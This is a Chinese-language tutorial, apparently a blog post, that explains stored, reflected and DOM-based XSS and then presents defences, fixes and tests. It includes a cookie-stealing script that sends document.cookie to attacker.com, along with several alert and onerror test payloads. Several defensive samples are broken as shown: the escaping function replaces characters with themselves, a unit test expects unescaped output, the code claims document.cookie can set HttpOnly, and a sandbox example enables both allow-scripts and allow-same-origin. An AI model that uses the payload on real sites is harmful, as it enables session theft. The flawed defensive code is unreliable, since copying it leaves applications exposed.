1. 什么是XSS漏洞?
跨站脚本攻击(Cross-Site Scripting,XSS) 是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户访问该页面时,脚本会在用户的浏览器中执行,从而窃取用户数据、劫持用户会话或进行其他恶意操作。
1.1 XSS漏洞的核心特征
- 客户端执行:恶意代码在受害者的浏览器中执行
- 信任滥用:利用用户对网站的信任
- 数据窃取:可获取Cookie、会话令牌、敏感信息等
- 持久性差异:分为存储型、反射型和DOM型三种类型
2. XSS漏洞的三种类型
2.1 存储型XSS(持久型XSS)
存储型XSS是最危险的一种类型,恶意脚本被永久存储在目标服务器上(如数据库、消息论坛、评论等)。
攻击流程:
- 攻击者将恶意脚本提交到网站
- 网站将脚本存储到数据库
- 其他用户访问包含该脚本的页面
- 恶意脚本在用户浏览器中执行
示例场景:
<!-- 攻击者在评论中提交 -->
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
2.2 反射型XSS(非持久型XSS)
反射型XSS的恶意脚本不会存储在服务器上,而是通过URL参数等方式传递给受害者。
攻击流程:
- 攻击者构造包含恶意脚本的URL
- 诱使用户点击该URL
- 服务器将恶意脚本"反射"回页面
- 脚本在用户浏览器中执行
示例场景:
<!-- 搜索功能存在漏洞 -->
https://example.com/search?q=<script>alert('XSS')</script>
2.3 DOM型XSS
DOM型XSS完全在客户端发生,不涉及服务器端。恶意脚本通过修改DOM结构来执行。
攻击流程:
- 攻击者构造恶意URL
- 用户访问该URL
- JavaScript代码读取URL中的恶意内容
- 恶意内容被写入DOM并执行
示例场景:
// 漏洞代码
var hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
// 攻击URL
http://example.com/page.html#<script>alert('XSS')</script>
3. XSS攻击的危害与影响
3.1 直接危害
- Cookie窃取:获取用户会话令牌,实现会话劫持
- 钓鱼攻击:伪造登录表单,窃取用户凭证
- 键盘记录:监控用户输入,获取敏感信息
- 网站篡改:修改页面内容,传播虚假信息
- 恶意重定向:将用户导向恶意网站
3.2 间接影响
- 用户信任丧失:影响网站声誉
- 法律风险:可能违反数据保护法规
- 经济损失:修复成本、赔偿费用
- 业务中断:服务不可用或功能受限
4. XSS漏洞的常见注入点
4.1 HTML上下文注入
<!-- 未转义的HTML标签 -->
<div>${userInput}</div>
<!-- 攻击:<script>malicious()</script> -->
4.2 属性上下文注入
<!-- 未转义的HTML属性 -->
<img src="${userInput}">
<!-- 攻击:javascript:alert('XSS') -->
4.3 JavaScript上下文注入
// 未转义的JavaScript字符串
var data = "${userInput}";
// 攻击:";alert('XSS');//
4.4 CSS上下文注入
<!-- 未转义的CSS样式 -->
<div style="color: ${userInput}"></div>
<!-- 攻击:red; background: url(javascript:alert('XSS')) -->
4.5 URL上下文注入
<!-- 未验证的URL参数 -->
<a href="${userInput}">链接</a>
<!-- 攻击:javascript:alert('XSS') -->
5. XSS漏洞检测方法
5.1 手动测试方法
-
输入特殊字符测试
<script>alert(1)</script> "><script>alert(1)</script> 'onmouseover='alert(1) -
使用测试向量
<!-- 基本测试 --> <script>alert('XSS')</script> <!-- 事件处理器 --> <img src=x onerror=alert('XSS')> <!-- 编码绕过 --> <img src=x onerror=alert(1)>
5.2 自动化扫描工具
- OWASP ZAP:开源的Web应用安全扫描器
- Burp Suite:专业的Web安全测试工具
- XSStrike:专门针对XSS的检测工具
- Acunetix:商业Web漏洞扫描器
5.3 浏览器扩展辅助
- XSS Hunter:检测盲XSS漏洞
- BeEF:浏览器攻击框架
- XSS Validator:Burp Suite插件
6. XSS防御策略与实践
6.1 输入验证与过滤
// 白名单验证示例
function validateInput(input) {
// 只允许字母、数字和基本标点
const pattern = /^[a-zA-Z0-9\s.,!?]+$/;
return pattern.test(input);
}
// 过滤危险字符
function sanitizeInput(input) {
return input
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}
6.2 输出编码
根据输出上下文使用不同的编码方式:
// HTML实体编码(HTML上下文)
function htmlEncode(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
// JavaScript编码(JS上下文)
function jsEncode(text) {
return text
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r');
}
// URL编码(URL上下文)
function urlEncode(text) {
return encodeURIComponent(text);
}
6.3 使用安全框架和库
- DOMPurify:HTML清理库
- js-xss:Node.js的XSS过滤器
- OWASP ESAPI:企业安全API
- React/Vue/Angular:现代前端框架内置XSS防护
6.4 内容安全策略(CSP)
# CSP头示例
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted.cdn.com;
style-src 'self' 'unsafe-inline';
img-src *;
connect-src 'self';
font-src 'self';
object-src 'none';
frame-ancestors 'none';
6.5 HTTP安全头设置
# 防止MIME类型嗅探
X-Content-Type-Options: nosniff
# 防止点击劫持
X-Frame-Options: DENY
# 启用XSS过滤器(旧版浏览器)
X-XSS-Protection: 1; mode=block
6.6 Cookie安全设置
// 设置HttpOnly和Secure Cookie
document.cookie = "sessionId=abc123; HttpOnly; Secure; SameSite=Strict";
7. 实战:修复常见XSS漏洞
7.1 修复存储型XSS
// 修复前(危险)
app.post('/comment', (req, res) => {
const comment = req.body.comment;
// 直接存储到数据库 ❌
db.saveComment(comment);
});
// 修复后(安全)
app.post('/comment', (req, res) => {
const comment = req.body.comment;
// 1. 验证输入
if (!isValidComment(comment)) {
return res.status(400).send('Invalid input');
}
// 2. 清理输入
const sanitized = sanitizeHtml(comment, {
allowedTags: ['b', 'i', 'em', 'strong', 'a'],
allowedAttributes: {
'a': ['href']
}
});
// 3. 安全存储
db.saveComment(sanitized);
});
7.2 修复反射型XSS
// 修复前(危险)
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>搜索结果: ${query}</h1>`); // ❌
});
// 修复后(安全)
app.get('/search', (req, res) => {
const query = req.query.q;
// 使用模板引擎自动转义
res.render('search', {
query: query // 模板引擎会自动转义
});
});
7.3 修复DOM型XSS
// 修复前(危险)
function loadContent() {
const id = window.location.hash.substring(1);
document.getElementById('content').innerHTML = id; // ❌
}
// 修复后(安全)
function loadContent() {
const id = window.location.hash.substring(1);
// 使用textContent而不是innerHTML
document.getElementById('content').textContent = id;
// 或者使用安全的DOM操作
const div = document.getElementById('content');
div.innerHTML = '';
div.appendChild(document.createTextNode(id));
}
8. 高级防护技巧
8.1 使用Trusted Types API
// 启用Trusted Types
if (window.trustedTypes && window.trustedTypes.createPolicy) {
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => {
// 自定义清理逻辑
return DOMPurify.sanitize(input);
}
});
}
// 使用
const safeHtml = policy.createHTML(userInput);
element.innerHTML = safeHtml;
8.2 实施子资源完整性(SRI)
<!-- 确保加载的脚本未被篡改 -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
8.3 使用沙箱iframe
<!-- 隔离不受信任的内容 -->
<iframe
sandbox="allow-scripts allow-same-origin"
srcdoc="<p>不受信任的内容</p>">
</iframe>
9. 测试与验证
9.1 单元测试示例
// 使用Jest测试XSS防护
describe('XSS防护测试', () => {
test('HTML编码应转义特殊字符', () => {
const input = '<script>alert("XSS")</script>';
const output = htmlEncode(input);
expect(output).toBe('<script>alert("XSS")</script>');
});
test('输入验证应拒绝危险输入', () => {
const dangerousInput = '<img src=x onerror=alert(1)>';
expect(validateInput(dangerousInput)).toBe(false);
});
});
9.2 渗透测试检查清单
- 所有用户输入都经过验证
- 输出时进行了适当的编码
- 设置了正确的CSP头
- Cookie标记为HttpOnly和Secure
- 使用了最新的安全库
- 定期进行安全扫描
- 实施了WAF规则
- 进行了代码安全审计
10. 总结与最佳实践
10.1 核心原则
- 永不信任用户输入:所有输入都应视为不可信的
- 输出时编码:根据上下文使用正确的编码方式
- 使用安全框架:利用框架内置的安全特性
- 保持更新:及时更新依赖库和安全补丁
- 深度防御:实施多层安全防护
10.2 持续改进
- 定期进行安全培训
- 实施安全开发生命周期(SDLC)
- 建立漏洞奖励计划
- 监控安全公告和CVE
- 进行定期的渗透测试
10.3 资源推荐
- OWASP XSS防护手册:https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- Mozilla安全指南:https://developer.mozilla.org/en-US/docs/Web/Security
- Google安全课程:https://web.dev/secure/
- HackerOne报告:学习真实世界的XSS案例
记住:XSS防护不是一次性的任务,而是一个持续的过程。通过结合技术防护、流程控制和人员培训,才能构建真正安全的Web应用。

340

被折叠的 条评论
为什么被折叠?



